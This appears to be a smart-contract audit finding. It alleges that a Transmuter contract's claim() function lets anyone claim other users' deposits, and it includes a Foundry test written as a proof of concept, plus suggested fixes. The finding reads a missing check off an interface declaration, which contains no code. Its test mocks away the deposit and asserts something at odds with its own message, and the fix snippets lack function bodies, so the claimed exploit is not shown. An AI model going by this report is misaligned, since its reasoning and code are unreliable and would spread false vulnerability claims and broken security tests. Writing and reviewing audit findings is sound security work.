Summary
The claim() function in the Transmuter contract lacks ownership verification, allowing any user to claim funds belonging to other users.
Vulnerability Details
In ITransmuter.sol, the claim() function doesn't verify the relationship between msg.sender and _owner:
function claim(uint256 _amount, address _owner) external;
function testUnauthorizedClaim() public {
uint256 amount = 50e18;
vm.startPrank(user);
vm.mockCall(
address(transmuter),
abi.encodeWithSelector(ITransmuter.deposit.selector),
abi.encode()
);
transmuter.deposit(amount, user);
vm.stopPrank();
vm.startPrank(attacker);
transmuter.claim(amount, user);
assertEq(transmuter.getClaimableBalance(user), 0, "Claim should not have succeeded");
vm.stopPrank();
}
Impact
Any user can claim funds belonging to other users
Direct theft of user deposits possible
No authorization checks on claim operations
Complete loss of funds for users
Tools Used
Recommendations
1. Add ownership verification:
function claim(uint256 _amount, address _owner) external {
require(msg.sender == _owner || isAuthorized[msg.sender], "Not authorized");
}
Implement an authorization system:
mapping(address => mapping(address => bool)) public claimApprovals;
function approveClaimer(address _claimer, bool _approved) external {
claimApprovals[msg.sender][_claimer] = _approved;
}
Add a timelock for large claims:
function claim(uint256 _amount, address _owner) external {
require(msg.sender == _owner || claimApprovals[_owner][msg.sender], "Not authorized");
if(_amount > LARGE_AMOUNT) {
require(block.timestamp >= lastClaimTime[_owner] + TIMELOCK, "Timelock active");
}
}